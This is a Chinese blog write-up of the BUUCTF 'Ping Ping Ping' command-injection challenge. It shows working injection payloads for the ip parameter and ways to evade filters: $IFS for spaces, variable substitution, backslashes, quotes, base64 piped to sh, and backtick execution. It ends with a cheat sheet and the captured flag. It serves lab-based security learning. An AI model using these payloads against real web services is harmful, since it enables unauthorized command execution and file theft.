BUUCTF【WEB】题:Ping Ping Ping

一、解题思路

打开后是这样一个界面:

在 URL 中注入一些东西看看执行效果

用 ls 命令查看所有文件

输入 flag.php 结果显示 fxck your flag 可能是 flag 被过滤掉了

既然 flag.php 看不了那就试试 index.php

cat 的作用:从标准输入读取读取内容并显示

发现 index.php 也没什么效果,那有可能是 空格 被过滤了,用 IFS 代替(IFS是系统命令空格的意思),前后面加$是为了固定这个语句,不然和其他字符串行会出错,后面的$1是空字符,也可以写成${IFS}${IFS}$9之类的。

不出所料,过滤掉了很多东西,这里{}被过滤了,所以{IFS}这个不行。

过滤掉的字符(串):

& / ? * < x{00}-\x{1f} ' " \ () [] {}  空格
"xxxfxxxlxxxaxxxgxxx" " " "bash" 

所以对于 flag.php 不能直接用 cat,既然 flag 被过滤了,可以尝试用变量来代替 flag

?ip=0.0.0.1;a=g;cat$IFS$1fla$a.php

用变量来替换 g 可以成功获取 flag

(a = g 的 a 前面不能加 $ 符号)

下面这几条均无法得出 flag

?ip=127.0.0.1;a=f;cat$IFS$1$alag.php
?ip=127.0.0.1;a=l;cat$IFS$1f$aag.php
?ip=127.0.0.1;a=a;cat$IFS$1fl$ag.php
?ip=127.0.0.1;a=fl;b=ag;cat$IFS$1$a$b.php
?ip=127.0.0.1;b=ag;a=fl;cat$IFS$1$a$b.php

所以 flag :

flag{cd4b541a-3c47-4e7e-bd89-957de1ba4b9f}

二、其他解题方法

①、将 cat flag.php 进行base64 编码后:Y2F0IGZsYWcucGhw

        base64$IFS$1-d就是 base64 -d,其中的 -d 就是解码的意思

(注意:sh 是 linux 中运行 shell 的命令,bash 相当于 sh 的升级版,但是 bash 被过滤掉了)

完整的就是这样:

echo Y2F0IGZsYWcucGhw|base64 -d|sh

但是空格被过滤,因此把空格换成 $IFS$9

echo$IFS$9Y2F0IGZsYWcucGhw|base64$IFS$9-d|sh

②、内联执行

反引号 : ``
cat$IFS$9`ls`

注:内联,就是将反引号内命令的输出作为输入执行。

直接把 flag.php 和 index.php 都输出了

三、收获

a、linux下绕过空格技巧

  • ${IFS}
  • $IFS$9

b、被过滤的字符串可以尝试使用 base64 编码完成后再进行解码,从而绕过特殊字符串的过滤

c、了解了内联执行的强大

d、

1.&
& 表示将任务置于后台执行
2.&&
只有在 && 左边的命令返回真(命令返回值 $? == 0),&& 右边的命令才 会被执行。
3.|
| 表示管道,上一条命令的输出,作为下一条命令的参数
4.||
只有在 || 左边的命令返回假(命令返回值 $? == 1),|| 右边的命令才 会被执行。
5.;
多行语句用换行区分代码快,单行语句一般要用到分号来区分代码块

四、关键字过滤

方法一:特殊变量

$@ 、$* 、$x (x 表示 1- 9)、${x} (x >= 10)

(在没有传递参数的情况下,上面的特殊变量都为空)

例如:

c${20}at flag.php 等价于 cat flag.php

方法二:反斜杠

例如代码过滤掉 a
c\at flag.php

方法三:变量替换

a=g;cat fla$a.php

方法四:引号

ca't' flag.php

方法五:编码绕过

例如前面的

echo Y2F0IGZsYWcucGhw|base64 -d|sh
  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值